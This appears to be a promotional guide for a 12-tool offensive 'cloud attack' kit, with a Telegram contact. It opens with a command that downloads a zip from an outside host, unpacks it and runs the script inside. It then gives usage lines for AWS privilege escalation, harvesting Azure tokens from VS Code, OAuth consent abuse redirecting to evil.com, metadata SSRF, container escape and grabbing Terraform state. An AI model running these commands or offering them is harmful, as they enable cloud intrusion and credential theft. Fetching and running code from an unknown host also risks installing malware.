TOOLKIT 4: CLOUD_ATTACK — COMPLETE GUIDE
By Mr Pilot Annis | Contact: t.me/rick_ene | 12 Tools

DOWNLOAD

```
wget https://tool.electronichubb.com/Toolkit_4_Cloud_Attack.zip
unzip Toolkit_4_Cloud_Attack.zip -d ~/toolkits/Cloud_Attack
cd ~/toolkits/Cloud_Attack && python3 cloud_attack.py
```

TOOLS

1. aws_enum.py — AWS Enumeration

```
python3 aws_enum.py --access-key AKIA... --secret-key SECRET --region us-east-1
```

2. aws_privilege_escalation.py — AWS PrivEsc

```
python3 aws_privilege_escalation.py --access-key AKIA... --secret-key SECRET
```

3. azure_ad_enum.py — Azure AD Enumeration

```
python3 azure_ad_enum.py --tenant-id TENANT --client-id APP_ID --client-secret SECRET
```

4. azure_token_hunter.py — Azure Token Hunter

```
python3 azure_token_hunter.py --source vscode --output tokens.txt
```

5. gcp_enum.py — GCP Enumeration

```
python3 gcp_enum.py --key-file service-account.json --enumerate
```

6. cloud_bucket_hunter.py — Bucket Hunter

```
python3 cloud_bucket_hunter.py --company "Target Corp" --output buckets.txt
```

7. oauth_abuse.py — OAuth Consent Grant

```
python3 oauth_abuse.py --client-id APP_ID --redirect https://evil.com --scope mail.read
```

8. metadata_exploit.py — Cloud Metadata SSRF

```
python3 metadata_exploit.py --url http://target.com/vulnerable?url=
```

9. serverless_scanner.py — Serverless Scanner

```
python3 serverless_scanner.py --target https://api.target.com --endpoints endpoints.txt
```

10. container_escape.py — Container Escape

```
python3 container_escape.py --check-all
```

11. cloudtrail_analyzer.py — CloudTrail Analyzer

```
python3 cloudtrail_analyzer.py --log-dir /path/to/cloudtrail/ --output report.txt
```

12. terraform_state_hunter.py — Terraform State Hunter

```
python3 terraform_state_hunter.py --url https://target.com/terraform.tfstate
```

ATTACK CHAIN: CLOUD PENTEST

```
# AWS Assessment
python3 aws_enum.py --access-key AKIA... --secret-key SECRET --region us-east-1
python3 aws_privilege_escalation.py --access-key AKIA... --secret-key SECRET
python3 cloud_bucket_hunter.py --company "Target Corp"

# Azure Assessment
python3 azure_ad_enum.py --domain target.com --enumerate-users
python3 azure_token_hunter.py --source vscode

# GCP Assessment
python3 gcp_enum.py --key-file sa.json --enumerate

# SSRF to Metadata
python3 metadata_exploit.py --url http://target.com/api/fetch?url=

# Serverless
python3 serverless_scanner.py --target https://api.target.com
```

By Mr Pilot Annis | Contact: t.me/rick_ene